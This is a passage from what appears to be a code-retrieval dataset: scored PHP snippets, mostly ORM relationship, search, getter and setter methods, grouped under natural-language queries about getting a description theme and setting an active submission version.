"51e9bf21a8cb5e742e28ebecc0ad4c6a", "score": "0.50697654", "text": "public function findAll($relationshipNames=[],$trashed = false);", "title": "" }, { "docid": "ecc664d1f1129009f77a4b492fa91db8", "score": "0.5067127", "text": "public function doSearch() {\n $arrClasses = $this->getModelReflectionClasses();\n\n $arrClassesFiltered = array();\n foreach($arrClasses as $strOneClass){\n /** @var $objOneClass interface_admin_listable|class_model */\n $objOneClass = new $strOneClass();\n if ( in_array($objOneClass->getArrModule(\"moduleId\"), $this->objSearch->getArrFilterModules()))\n $arrClassesFiltered[] = $strOneClass;\n }\n\n\n foreach($arrClassesFiltered as $strOneClass)\n $this->processSingleClass($strOneClass);\n\n return $this->arrHits;\n }", "title": "" }, { "docid": "d664162c789aba6114c7220526ae85d6", "score": "0.5061811", "text": "public function match(array $models, Collection $results, $relation) {}", "title": "" }, { "docid": "d79e5cffca16257ea1132f9b662d35f6", "score": "0.5060637", "text": "public function findBy(array $where): ICollection;", "title": "" }, { "docid": "6231740509bbcabd7477187662c99ede", "score": "0.5060421", "text": "public function findAllEntities();", "title": "" }, { "docid": "4f8b38385495fd8a9561ca96ad874285", "score": "0.5059517", "text": "public function findMany($ids, $columns = ['*']);", "title": "" }, { "docid": "b21058b1f7f36696c1a1f2a037160f50", "score": "0.5056528", "text": "public function permissions(){ return new manytomany_link($this, 'permission', 'rolepermissions');\n }", "title": "" }, { "docid": "5de4e1c3106916036f96636b7cd40125", "score": "0.5054138", "text": "function abc() { \n return $this->belongsToMany('Fruit','lands','id','fruit_id');\n }", "title": "" }, { "docid": "a1b4299612b1a01030585d59912f5df3", "score": "0.50522214", "text": "public function ManyToMany() {\n $PitchV1_id = 1; \n\n //Call `revisions()` inside `Client.php` model\n $revisions = Client::find($PitchV1_id)->revisions()->get();\n foreach ($revisions as $revision) {\n echo $revision->type; //Display \"feature\" and \"bugs\"\n }\n\n\n //This is the \"feature\" from `revision` table\n $feature_id = 1; \n\n //Call `clients()` inside `Revision.php` model\n $clients = Revision::find($feature_id)->clients;\n foreach ($clients as $client) {\n echo $client->name; //Display \"Perfect Pitch V1\" and \"PP Portal\"\n }\n }", "title": "" }, { "docid": "c475d256234dbe30b0af315144b052aa", "score": "0.50490385", "text": "public function getListSearch()\n {\n //set warehouse and client id\n $warehouse_id = ( !is_numeric(request()->get('warehouse_id')) ) ? auth()->user()->current_warehouse_id : request()->get('warehouse_id');\n $client_id = ( !is_numeric(request()->get('client_id')) ) ? auth()->user()->current_client_id : request()->get('client_id');\n\n //instantiate model and run search\n $product_model = new Product();\n return $product_model->getListSearch(request()->get('search_term'), $warehouse_id, $client_id);\n }", "title": "" }, { "docid": "5c80e4c1ec0609ee7424fd66f089a24b", "score": "0.50453806", "text": "protected static function _relations() {\n\n\t}", "title": "" }, { "docid": "00e783d456abf70761383898adeb53fd", "score": "0.50443584", "text": "abstract public function morphMany($related, $name, $type = null, $id = null, $localKey = null);", "title": "" }, { "docid": "54eae2f59df508560b92e8c9f0a35b41", "score": "0.5042377", "text": "public function articles()\n\t{\n\t\treturn $this->belongsToMany('App\\Article');\t\n\t}", "title": "" }, { "docid": "2b4d81c0a7d8d57af1d7ee5d593a6943", "score": "0.50396055", "text": "abstract function relations();", "title": "" }, { "docid": "e6bdeb963442190584c9fa6ac0f82871", "score": "0.50375533", "text": "protected function get_items_query_search()\n {\n }", "title": "" }, { "docid": "d93a9227795b09839b6f29fac32e2158", "score": "0.5033114", "text": "protected function searchable(): array\n {\n return [\n 'id',\n 'title',\n 'description',\n 'value_in',\n 'value_out',\n ];\n }", "title": "" }, { "docid": "f4765e899e17cd893d3ac71b5e62f713", "score": "0.50326675", "text": "public function tags() {\n return $this->belongsToMany('\\App\\Models\\Tag')->withTimestamps();\n// return $this->getCachedTags($cache);\n }", "title": "" }, { "docid": "b7ec23348ee1506233f91be41f455521", "score": "0.5031566", "text": "public function mots()\n\t{\n\t\t// hasMany(RelatedModel, foreignKeyOnRelatedModel = liste_id, localKey = id)\n\t\treturn $this->belongsToMany('App\\Models\\Mot');\n\t}", "title": "" }, { "docid": "397109d7e7731840682bf5881b127917", "score": "0.50282145", "text": "public function searchAction() {\n\t\n\t if($this->getRequest()->isXmlHttpRequest()){\n\t\n\t $term = $this->getParam('term');\n\t $id = $this->getParam('id');\n\t\n\t if(!empty($term)){\n\t $term = \"%$term%\";\n\t $records = Invoices::findbyCustomFields(\"formatted_number LIKE ? OR number LIKE ?\", array($term, $term));\n\t die(json_encode($records));\n\t }\n\t\n\t if(!empty($id)){\n\t $records = Invoices::find($id);\n\t if($records){\n\t $records = $records->toArray();\n\t }\n\t die(json_encode(array($records)));\n\t }\n\t\n\t $records = Invoices::getAll();\n\t die(json_encode($records));\n\t }else{\n\t die();\n\t }\n\t}", "title": "" }, { "docid": "6ad8c52a9f3344cf6b693b12011e9d2b", "score": "0.502697", "text": "public function find($id,$relationshipNames=[],$trashed = false);", "title": "" }, { "docid": "72bae2cb6680202dc8a3fcc21315b717", "score": "0.5019477", "text": "function _get_by_related($model, $arguments = array())\r\n\t{\r\n\t\tif ( ! empty($model))\r\n\t\t{\r\n\t\t\t// Add model to start of arguments\r\n\t\t\t$arguments = array_merge(array($model), $arguments);\r\n\t\t}\r\n\r\n\t\t$this->_related('where', $arguments);\r\n\r\n\t\treturn $this->get();\r\n\t}", "title": "" }, { "docid": "0bd27e4d0d75a808c3a670ee5fc4d9a2", "score": "0.5014311", "text": "public function findAllWithRelation()\n {\n return $this->model\n ->with(static::$relations)\n ->orderBy('is_top', 'DESC')\n ->orderBy('is_published')\n ->orderBy('created_at', 'DESC')\n ->get();\n }", "title": "" } ]
be49bd43ed2b66ef7810de50a5c841e2
Get the value of _descriptionTheme
[ { "docid": "f5a87547b9514f178c6e7a92f68b1879", "score": "0.8528373", "text": "public function getDescriptionTheme()\n {\n return $this->_descriptionTheme;\n }", "title": "" } ]
[ { "docid": "019c5d1fb6341ffa880497dadbcbbe85", "score": "0.6752234", "text": "function getDescription() {\n\t\treturn __('plugins.themes.defaultChild.description');\n\t}", "title": "" }, { "docid": "ee674db7db75270fe7ba8d1b7d58297a", "score": "0.6733807", "text": "public function getTheme();", "title": "" }, { "docid": "ee674db7db75270fe7ba8d1b7d58297a", "score": "0.6733807", "text": "public function getTheme();", "title": "" }, { "docid": "b01cfdd028dc2b6a07b91ed638ef4eb4", "score": "0.6622638", "text": "public function get_nom_theme() {return $this->nom_theme;}", "title": "" }, { "docid": "bd4281fadfc1b32c8d5af0df9211e886", "score": "0.6573934", "text": "abstract public function themeDetails();", "title": "" }, { "docid": "223775f6f02ef50f77e5b174520c57e8", "score": "0.6482876", "text": "public function getTheme(): string\n {\n $opt_theme = $this->options->fromCode(self::THEME, self::IDE_PATH, self::BBN_APPUI);\n $pref_arch = $this->pref->getClassCfg();\n if ($this->pref && $this->projects) {\n $pref = $this->db->selectOne(\n $pref_arch['tables']['user_options'],\n $pref_arch['arch']['user_options']['id'],\n [\n $pref_arch['arch']['user_options']['id_user'] => $this->pref->getUser(),\n $pref_arch['arch']['user_options']['id_option'] => $this->projects->getId()\n ]\n );\n //if there is no preference, the theme value will take it from the option\n if (!empty($pref)) {\n $val = $this->db->selectOne(\n $pref_arch['tables']['user_options_bits'],\n 'cfg',\n [\n $pref_arch['arch']['user_options_bits']['id_user_option'] => $pref,\n $pref_arch['arch']['user_options_bits']['id_option'] => $opt_theme,\n ]\n );\n $val = json_decode($val, true);\n if (isset($val['theme'])) {\n return $val['theme'];\n }\n }\n }\n\n return '';\n }", "title": "" }, { "docid": "284d206bddfe9e32f2d5b1a89fbea982", "score": "0.6482048", "text": "public function getTheme(): string\n {\n return isset($this->theme) ? $this->theme : '';\n }", "title": "" }, { "docid": "2d60ad4ba11eeee7af40537db95ee477", "score": "0.64739996", "text": "function getDescription() {\n\t\treturn __('plugins.themes.journals-home.description');\n\t}", "title": "" }, { "docid": "89cfdad7fc4255e9dc0cc2782d8260f3", "score": "0.646545", "text": "public function getDataTheme() {\n return $this->_data_theme;\n }", "title": "" }, { "docid": "850c42576fbdcd3133fc91857b6d8299", "score": "0.645402", "text": "function getDescription() {\n\t\treturn __('plugins.themes.bootstrap3.description');\n\t}", "title": "" }, { "docid": "6cab0fb09c8c8fbfa893fe195f59b037", "score": "0.63408566", "text": "public function getThemeDefault(): string;", "title": "" }, { "docid": "481a171080a700c63f9a9580c804f1a8", "score": "0.63373375", "text": "public function getThemeName();", "title": "" }, { "docid": "a7af75148c1fb348ab8a3ab1420bb19b", "score": "0.6336664", "text": "public function get_desc(){\n\t\t$class = explode('\\\\', get_class($this));\n\t\t$class = array_pop($class);\n\t\t$widgets = WPLib::inst()->get_widgets();\n\t\tif (isset($widgets[$class])) return $widgets[$class]['description'];\n\t\treturn __('No description available.');\n\t}", "title": "" }, { "docid": "384fc0c9bb09426b0efb4d6532ddbad4", "score": "0.6322806", "text": "public function getTheme()\n {\n return $this->theme ? $this->theme : 'default';\n }", "title": "" }, { "docid": "e1a2f34079e43dd8bfa13c732fd8b905", "score": "0.63065827", "text": "private function _get_description()\n\t{\n\t\tif ($this->_description)\n\t\t{\n\t\t\treturn $this->_description;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $this->meta_description();\n\t\t}\n\t}", "title": "" }, { "docid": "519ce75636ddb51e24cd7bbe0b981904", "score": "0.6304991", "text": "function get_theme() {\n\t\treturn 'default';\n\t}", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9c7100905e29d52b4195ccd63a6c9ae3", "score": "0.6274255", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n return $this->_propDict[\"description\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "9fb27e243c3c999c787b7d4b0fff3b04", "score": "0.6249879", "text": "public function getDescription()\n {\n return $this->getConfigurationOverride(\"description\") ?? $this->description;\n }", "title": "" }, { "docid": "46aeb0af607247c80244ceafee707c71", "score": "0.624935", "text": "private function getFeedDescription()\n {\n if (sfConfig::get('app_wsp_nopaste_plugin_feed_description'))\n {\n return sfConfig::get('app_wsp_nopaste_plugin_feed_description');\n }\n else\n {\n return 'This feed does not have any description, yet.';\n }\n }", "title": "" }, { "docid": "e5b7a1e3fc029fd2c85aba419ea2de9a", "score": "0.6232352", "text": "public function get_theme()\n {\n return (isset($this->_theme_name)) ? $this->_theme_name : '';\n }", "title": "" }, { "docid": "965bafd02fcfe90ec4e71db97778c479", "score": "0.62297946", "text": "public function getSelectedTheme() : string;", "title": "" }, { "docid": "981603c367cac7b78017c5e969108329", "score": "0.62261415", "text": "public function getDescription()\n {\n $config = $this->getConfig();\n return $config['description'];\n }", "title": "" }, { "docid": "80629abd977b9852f601cfb02520f5b1", "score": "0.62039447", "text": "public function getThemeLabelAttribute()\n {\n return $this->set->theme->theme_label;\n }", "title": "" }, { "docid": "e289f9ca0266e3c662d938817facc317", "score": "0.61931473", "text": "public function getDescriptionTemplate()\n {\n return $this->descriptionTemplate;\n }", "title": "" }, { "docid": "ace5bbc570dd383078746b69b5ff503d", "score": "0.61847097", "text": "function theme_name(){\n\t\t$ci = & get_instance();\n\n\t\t$theme = $ci->config->item('theme');\n\n\t\treturn $theme['name'];\t\n\t}", "title": "" }, { "docid": "cfe50dcb91a47a572183806248a0231d", "score": "0.61809605", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "a17a4b09b8c9467633065bec1f61d784", "score": "0.6174299", "text": "public function getDescription()\n\t{\n\t\t// not set so return null\n\t\tif(!isset($this->data['description'])) return null;\n\n\t\t// return value\n\t\treturn $this->data['description'];\n\t}", "title": "" }, { "docid": "1470d8884004470bb869333be400c861", "score": "0.61648035", "text": "function site_description() {\n return Config::get('meta.description');\n}", "title": "" }, { "docid": "8cf41afd73eb53f3c2889c5370fa4281", "score": "0.6152873", "text": "public function get_product_description_mode() {\n\n\t\t/**\n\t\t * Filters the configured product description mode.\n\t\t *\n\t\t * @since 1.10.0\n\t\t *\n\t\t * @param string $mode the configured product description mode\n\t\t * @param \\WC_Facebookcommerce_Integration $integration the integration instance\n\t\t */\n\t\t$mode = (string) apply_filters( 'wc_facebook_product_description_mode', get_option( self::SETTING_PRODUCT_DESCRIPTION_MODE, self::PRODUCT_DESCRIPTION_MODE_STANDARD ), $this );\n\n\t\t$valid_modes = array(\n\t\t\tself::PRODUCT_DESCRIPTION_MODE_STANDARD,\n\t\t\tself::PRODUCT_DESCRIPTION_MODE_SHORT,\n\t\t);\n\n\t\tif ( ! in_array( $mode, $valid_modes, true ) ) {\n\t\t\t$mode = self::PRODUCT_DESCRIPTION_MODE_STANDARD;\n\t\t}\n\n\t\treturn $mode;\n\t}", "title": "" }, { "docid": "d3d46905693095a84c95f4a3443ba7c9", "score": "0.61402464", "text": "public function getNomTheme()\n\t{\n\t\treturn htmlentities($this->sNomTheme);\n\t}", "title": "" }, { "docid": "d56b408beee1b5b367480df56b56dfb3", "score": "0.6122339", "text": "public static function theme()\r\n\t{\r\n\t\treturn static::$theme;\r\n\t}", "title": "" }, { "docid": "59eff89ee90ecf53a15186e9ac6fe277", "score": "0.61044216", "text": "public function getTheme() {\r\n return $this->theme;\r\n }", "title": "" }, { "docid": "7af0d4412d7dca87b8c499aa8662c333", "score": "0.60737187", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "7af0d4412d7dca87b8c499aa8662c333", "score": "0.60737187", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "7af0d4412d7dca87b8c499aa8662c333", "score": "0.60737187", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "87f81e7e4119f41f9dac731c7d3822a0", "score": "0.60648364", "text": "public function getDescription() \n {\n return $this->_fields['Description']['FieldValue'];\n }", "title": "" }, { "docid": "87f81e7e4119f41f9dac731c7d3822a0", "score": "0.60648364", "text": "public function getDescription() \n {\n return $this->_fields['Description']['FieldValue'];\n }", "title": "" }, { "docid": "bf8c50fbab8315698618c86300a4bffa", "score": "0.6040626", "text": "public function getDescription() {\n return $this->getPluginDefinition()['description'];\n }", "title": "" }, { "docid": "1dd50e575a1c923c800a92851cd97270", "score": "0.60172796", "text": "function getDescription() {\n\t\treturn $this->row['data']['description'];\n\t}", "title": "" }, { "docid": "fa3743734162c947f4622dec76300d92", "score": "0.6016717", "text": "static function getSiteTheme()\n {\n $site_theme = SiteSetting::where('setting_key', SettingKeys::__SITE_THEME)->first();\n\n return $site_theme->setting_value;\n }", "title": "" }, { "docid": "37f24ccb3025426e9afdaae686cdfcf7", "score": "0.6016258", "text": "public function getTheme()\r\n\t{\r\n\t\treturn $this->theme;\r\n\t}", "title": "" }, { "docid": "fc0de7e590d7d103d883ce1136eea021", "score": "0.6015212", "text": "public function description(): string\n {\n return $this->wpTerm->description;\n }", "title": "" }, { "docid": "f98b2f1d61e73f29b44479fedf50a0a9", "score": "0.60089415", "text": "public function getDescription()\n {\n if (array_key_exists(\"description\", $this->_propDict)) {\n if (is_a($this->_propDict[\"description\"], \"\\Beta\\Microsoft\\Graph\\SecurityNamespace\\Model\\FormattedContent\") || is_null($this->_propDict[\"description\"])) {\n return $this->_propDict[\"description\"];\n } else {\n $this->_propDict[\"description\"] = new FormattedContent($this->_propDict[\"description\"]);\n return $this->_propDict[\"description\"];\n }\n }\n return null;\n }", "title": "" }, { "docid": "3092b75f1bbc161ccd2c7267cae45823", "score": "0.60084385", "text": "public function getDescription()\n {\n if (array_key_exists('description', $this->_data)) {\n return $this->_data['description'];\n }\n\n $description = $this->getExtension('Atom')->getDescription();\n\n $this->_data['description'] = $description;\n\n return $this->_data['description'];\n }", "title": "" }, { "docid": "6928d615dde499054c6d28b5b998a0a2", "score": "0.6006347", "text": "public function getThemeTitle()\n {\n return $this->_data['title'];\n }", "title": "" }, { "docid": "f37e85a2fa40882bb17881f4f6b35ff2", "score": "0.59842294", "text": "public function description() {\n\t\treturn Paper::get_from_options( 'homepage_description', [], get_bloginfo( 'description' ) );\n\t}", "title": "" }, { "docid": "e7ed208ba1c7b7fbe4c730015dcef15f", "score": "0.59806114", "text": "public function get_theme()\n\t{\n\t\treturn $this->_theme;\n\t}", "title": "" }, { "docid": "359b2a02202642b94adabc081e9856b8", "score": "0.59768647", "text": "final public static function getDescription() {\n return static::$description;\n }", "title": "" }, { "docid": "f4242794dc646bc063a987d9b6dc5f29", "score": "0.59713113", "text": "public function getDescription()\n {\n if (is_null($this->_description)) {\n $filter = $this->_config[\\elements::ITEM_DESCRIPTION];\n $this->_description = $this->_getRegexpInfo($filter, $this->getContent());\n }\n return $this->_description;\n }", "title": "" }, { "docid": "72e1553f1374411109555118f4c06469", "score": "0.59659195", "text": "public function getDescription()\n {\n return isset($this->Description) ? $this->Description : null;\n }", "title": "" }, { "docid": "72e1553f1374411109555118f4c06469", "score": "0.59659195", "text": "public function getDescription()\n {\n return isset($this->Description) ? $this->Description : null;\n }", "title": "" }, { "docid": "77be899c2ec52022cd690996411efcfa", "score": "0.59650964", "text": "public function getTag()\n {\n return 'cas_theme';\n }", "title": "" }, { "docid": "7633c0b1fad235cf87a844d4e994d6a5", "score": "0.59647685", "text": "public function getDescription()\n {\n return $this->_getValue('Description');\n }", "title": "" }, { "docid": "696717a468d1b83ef074d828030b8832", "score": "0.59646547", "text": "function getLocalizedDescription() {\n\t\treturn $this->getLocalizedData('description');\n\t}", "title": "" }, { "docid": "696717a468d1b83ef074d828030b8832", "score": "0.59646547", "text": "function getLocalizedDescription() {\n\t\treturn $this->getLocalizedData('description');\n\t}", "title": "" }, { "docid": "696717a468d1b83ef074d828030b8832", "score": "0.59646547", "text": "function getLocalizedDescription() {\n\t\treturn $this->getLocalizedData('description');\n\t}", "title": "" }, { "docid": "b5382fecd22a2aa4163492fc849941b3", "score": "0.5962651", "text": "public function setDescriptionTheme($_descriptionTheme)\n {\n $this->_descriptionTheme = $_descriptionTheme;\n\n return $this;\n }", "title": "" }, { "docid": "b2d770be6208a95d4bf43bc31ee53285", "score": "0.59600973", "text": "function getDescription() {\n\t\treturn 'Tema customizado por la Universidad del Valle, partiendo de el tema por defecto';\n\t}", "title": "" }, { "docid": "ce1e10e41143cd5793a6a1fc8edbf686", "score": "0.59577703", "text": "public function getMetaDescription()\n {\n return $this->getValue('nb_site_target_lang_meta_description');\n }", "title": "" }, { "docid": "8cf339d4da2d1bb70894df8f4cf96af0", "score": "0.59574413", "text": "protected function getThemeContent()\n {\n echo $this->__themeContent;\n }", "title": "" }, { "docid": "351930093d03efc67e6fe47b7bbbb916", "score": "0.59428275", "text": "protected function getDescription()\n {\n return $this->description;\n }", "title": "" }, { "docid": "1abb81e7f84cd4d9bc95fde0b479773a", "score": "0.5927861", "text": "public static function GetTheme()\n {\n $theme = self::$settings->Get('theme');\n \n if($theme)\n return $theme;\n \n return 'default';\n }", "title": "" }, { "docid": "dcb1ed211dea8fa638db4bdeb8b6011f", "score": "0.5910261", "text": "public function getThemeName()\n {\n return $this->theme_name;\n }", "title": "" }, { "docid": "ea9fbec8027bc6251c808f23111c36fc", "score": "0.5909373", "text": "function md_get_the_meta_description() {\n \n // Verify meta's description exists\n if ( isset((new MidrubBase\\Classes\\Properties)::$the_single_property['description']) ) {\n\n echo \"<meta name=\\\"description\\\" content=\\\"\" . (new MidrubBase\\Classes\\Properties)::$the_single_property['description'] . \"\\\" />\\n\";\n\n }\n \n }", "title": "" }, { "docid": "7d049b3ec7cdf4e4d2bb0276685db8a8", "score": "0.5908403", "text": "public function getDescription()\n\t{\n\t\treturn $this['description'];\n\t}", "title": "" }, { "docid": "b1baf6efd70536a1e0f0f75f43f0965a", "score": "0.590387", "text": "function ay_description() {\r\n\tglobal $wp_query, $post;\r\n\tif((is_single() || is_page()) && !is_front_page()) {\r\n\t\tsetup_postdata($post);\r\n\t\t$description = get_the_excerpt();\r\n\t\tif(!$description) $description = trim(strip_tags(get_bloginfo('description')));\r\n\t} elseif(is_category()) {\r\n\t\t$category = $wp_query->get_queried_object();\r\n\t\t$description = trim(strip_tags($category->category_description));\r\n\t\tif(!$description) $description = trim(strip_tags(get_bloginfo('description')));\t\t\r\n\t} else {\r\n\t\t$description = trim(strip_tags(get_bloginfo('description')));\r\n\t}\r\n\r\n\tif($description) {\r\n\t\treturn $description;\r\n\t}\r\n}", "title": "" }, { "docid": "d0771b027f01de6965863df33e5bde8b", "score": "0.58952147", "text": "function getSiteDescription()\n\t{\n\t\tglobal $conn;\n\t\t\n\t\treturn $conn->query(\"SELECT value FROM Setting WHERE code = 'swds' LIMIT 1\")->fetchColumn();\n\t}", "title": "" }, { "docid": "fe91374b24caf78814d57f8ecdfaa16a", "score": "0.58952045", "text": "static final public function getDescription()\n {\n return self::$description;\n }", "title": "" }, { "docid": "699dacbcd301f0b581a06f806fc4c3e2", "score": "0.5894186", "text": "public function get_description()\n {\n return $this->get_default_property(self::PROPERTY_DESCRIPTION);\n }", "title": "" }, { "docid": "b343c893d4e53b2357e9ede8a117c44f", "score": "0.5889512", "text": "function getDescription() {\n\t\treturn __('plugins.generic.externalFeed.description');\n\t}", "title": "" }, { "docid": "4d4ab2dbf40af04bd6dcf1abef24f768", "score": "0.5883707", "text": "public function component_info(){\n\t\t\n\t\t$data = array();\n\t\t$data['title'] = __('Theme','admin2020');\n\t\t$data['option_name'] = 'admin2020_admin_theme';\n\t\t$data['description'] = __('Creates the main theme for admin 2020. Disables default WordPress theme and applies admin 2020.','admin2020');\n\t\treturn $data;\n\t\t\n\t}", "title": "" }, { "docid": "a0621b6bec22c551b027cd584b5d570c", "score": "0.58825487", "text": "function italia_theme_info() {\n return array(\n 'name' => 'OSClass Italia theme',\n 'version' => '1.0.2',\n 'description' => 'This is the OSClass Italia theme',\n 'author_name' => 'OSClass team',\n 'author_url' => 'http://osclass.org',\n 'locations' => array('header', 'footer')\n );\n }", "title": "" }, { "docid": "74969a67c0738f552f259557f3fed589", "score": "0.5873433", "text": "function getDescription() {\n\t\treturn $this->_Description;\n\t}", "title": "" }, { "docid": "74969a67c0738f552f259557f3fed589", "score": "0.5873433", "text": "function getDescription() {\n\t\treturn $this->_Description;\n\t}", "title": "" }, { "docid": "b7087fb58408e9196a4a83557db2614c", "score": "0.58727956", "text": "public function getDescription() {\n if(!property_exists($this->data, 'description')) $this->loadSpace();\n if(!property_exists($this->data, 'description')) return NULL;\n return $this->data->description;\n }", "title": "" }, { "docid": "13724251bdaf407f62b11b1615d6bdd0", "score": "0.5858866", "text": "public static function getTheme() : string\n\t{\n\t\treturn \\SGFilehoster\\Utils::getTheme();\n\t}", "title": "" }, { "docid": "114cc68bca7604d5fe4e48da97e7edc6", "score": "0.5855971", "text": "public function get_description() {\n\t\treturn $this->description;\n\t}", "title": "" }, { "docid": "e5826b57beebaf3eaa963f0c6805eb3f", "score": "0.58489615", "text": "public function get_description()\n\t{\n\t\treturn $this->description;\n\t}", "title": "" }, { "docid": "e02c14480e4de0a22726d4b989341068", "score": "0.5845525", "text": "public function getDescription() {\r\n return $this->_description;\r\n }", "title": "" }, { "docid": "a9f5c20c8ea960d708cd63fc66b253c4", "score": "0.58375984", "text": "function getDescription() {\r\n return $this->description;\r\n }", "title": "" }, { "docid": "97923b7d09b6b21a235fa11ce10db40e", "score": "0.58297795", "text": "function active_selling_theme()\n {\n return config('system_settings.selling_theme', Null) ?: 'default';\n }", "title": "" }, { "docid": "d8f74e3ad0a99079c666e08a409c72e9", "score": "0.582928", "text": "protected function description()\n {\n return $this->description;\n }", "title": "" }, { "docid": "9918c6a2607cb89aceca84c190bbbf11", "score": "0.5826637", "text": "public function getTheme()\n {\n return empty($this->schema_name) ? false : $this->schema_name.'.twig';\n }", "title": "" }, { "docid": "d91905d76398fc771c298d1e88c40d66", "score": "0.5826092", "text": "protected function get_default_description() {\n\t\t\t\t\treturn __('Some description text for this item', 'trx_addons');\n\t\t\t\t}", "title": "" }, { "docid": "f3cef7b4f55de3de6390df6266eea352", "score": "0.58249176", "text": "public function getDescription()\r\n {\r\n return $this->_description;\r\n }", "title": "" }, { "docid": "1a3379548195d7f7e913a44f0f8d5c78", "score": "0.58215517", "text": "public function getHasDescription()\n {\n if (array_key_exists(\"hasDescription\", $this->_propDict)) {\n return $this->_propDict[\"hasDescription\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "d0d4c4a429a1ed7aeb20e6ea7a0f7570", "score": "0.5820427", "text": "public function getDescription()\n {\n return $this->getProperty('description');\n }", "title": "" }, { "docid": "1df0fb775b4e376b72154889890dc37f", "score": "0.58195144", "text": "protected function getClassDescription() {\n\t\treturn trim($this->option('desc') ?? 'Description');\n\t}", "title": "" }, { "docid": "e32ac4297e6056781190b74d0785eccd", "score": "0.58133644", "text": "function getDescription() {\n return $this->description;\n }", "title": "" }, { "docid": "27fae781a79d5f581b9f9ad138b0a84d", "score": "0.580552", "text": "public function get_description()\n {\n return $this->description;\n }", "title": "" }, { "docid": "08f2b82e72fb66987386e5287a19a98c", "score": "0.5800671", "text": "function getDesc()\n {\n return $this->description;\n }", "title": "" }, { "docid": "08f2b82e72fb66987386e5287a19a98c", "score": "0.5800671", "text": "function getDesc()\n {\n return $this->description;\n }", "title": "" }, { "docid": "5ad2e3cb1872f4d8ff6b4d628ae5104d", "score": "0.5799386", "text": "public function get_description()\n {\n return $this->description;\n }", "title": "" }, { "docid": "6cf7eadb25d252cc2ba9cc9837d9f7b8", "score": "0.5788563", "text": "public function getDescription() \n {\n return $this->_description; \n }", "title": "" }, { "docid": "d75f94b0ed6bd9efce5876ef34f51259", "score": "0.5787306", "text": "public function getDescription(){\n\t\treturn $this->description;\n\t}", "title": "" } ]
272fdd13891d2534ec20bada2a3f688b
Sets the active submission version for this electronic gradeable
[ { "docid": "64450f1c1225e40555f62ff04b530ece", "score": "0.60829586", "text": "public function setActiveVersion($version) {\n if ((is_int($version) || ctype_digit($version)) && intval($version) >= 0) {\n $this->active_version = intval($version);\n } else {\n throw new \\InvalidArgumentException('Active version must be a non-negative integer');\n }\n $this->modified = true;\n }", "title": "" } ]
[ { "docid": "0bf24e7f16bf0ba00cb0b757f4b20296", "score": "0.5769064", "text": "protected function assignVersion()\n {\n\n }", "title": "" }, { "docid": "20d21252fd6052c245128d86a0f7636c", "score": "0.5665034", "text": "public function setVersionActive($mixID, $mixVersion) { }", "title": "" }, { "docid": "c83581676e370572bc0cc4bfc1606fe4", "score": "0.56533706", "text": "public function setCurrentVersion($currentVersion);", "title": "" }, { "docid": "33c4da41f0f0de11266a2be2cdce09d0", "score": "0.5651184", "text": "public function setVersionActive($mixID, $mixVersion);", "title": "" }, { "docid": "d2ee799fe75c384e87d05364008e02cb", "score": "0.5473705", "text": "public function set_version_number() {\n\t\t$current_version = get_option('fsn_current_version');\n\t\tif (empty($current_version) || $current_version != FSN_VERSION) \t{\n\t\t\tupdate_option('fsn_current_version', FSN_VERSION);\n\t\t}\n\t}", "title": "" }, { "docid": "108c5c2e6378c8a82fb314e8a9993cd2", "score": "0.54390067", "text": "protected function setVersion()\n\t{\n\t\t$this->version = \\SocialCuratorGrid\\Helpers::version();\n\t}", "title": "" }, { "docid": "3263ff9bb2b8c1fd1a5f0c9cbac82138", "score": "0.54269147", "text": "public function setActive($value)\r\n {\r\n $this->_isActive = $value;\r\n }", "title": "" }, { "docid": "a351c9d51379083e7f43f00a6d0b3610", "score": "0.54055625", "text": "function setCurrentVersion ($a_version)\n\t{\n\t\tinclude_once './Services/Administration/classes/class.ilSetting.php';\n\t\t$set = new ilSetting();\n\t\t$set->set(\"adn_db_version\", $a_version);\n\t\t$this->currentVersion = $a_version;\n\t\t\n\t\treturn true;\n\t}", "title": "" }, { "docid": "0315946f7dd690f62f99913c167cc55d", "score": "0.53748316", "text": "public function setCurrentVersion($currentVersion)\n\t{\n\t\t$this->currentVersion = $currentVersion;\n\t}", "title": "" }, { "docid": "d9d0472e38920e07508fd1fadb627ba2", "score": "0.52353215", "text": "public function setIsLatestUsedVersion(?bool $value): void {\n $this->getBackingStore()->set('isLatestUsedVersion', $value);\n }", "title": "" }, { "docid": "c94b8bcc67d7b6471cee026ccb05fc40", "score": "0.5214223", "text": "public function setStatus(?EducationAssignmentStatus $value): void {\n $this->getBackingStore()->set('status', $value);\n }", "title": "" }, { "docid": "e3f59c1890cde14a70bc2331af1f5376", "score": "0.51954436", "text": "public static function setActive($active)\r\n {\r\n /// do what you have to do\r\n }", "title": "" }, { "docid": "63c5710a186310539aa5c0084c8fa82a", "score": "0.51273406", "text": "public function activate()\n {\n $id = $this->identifier;\n $active = 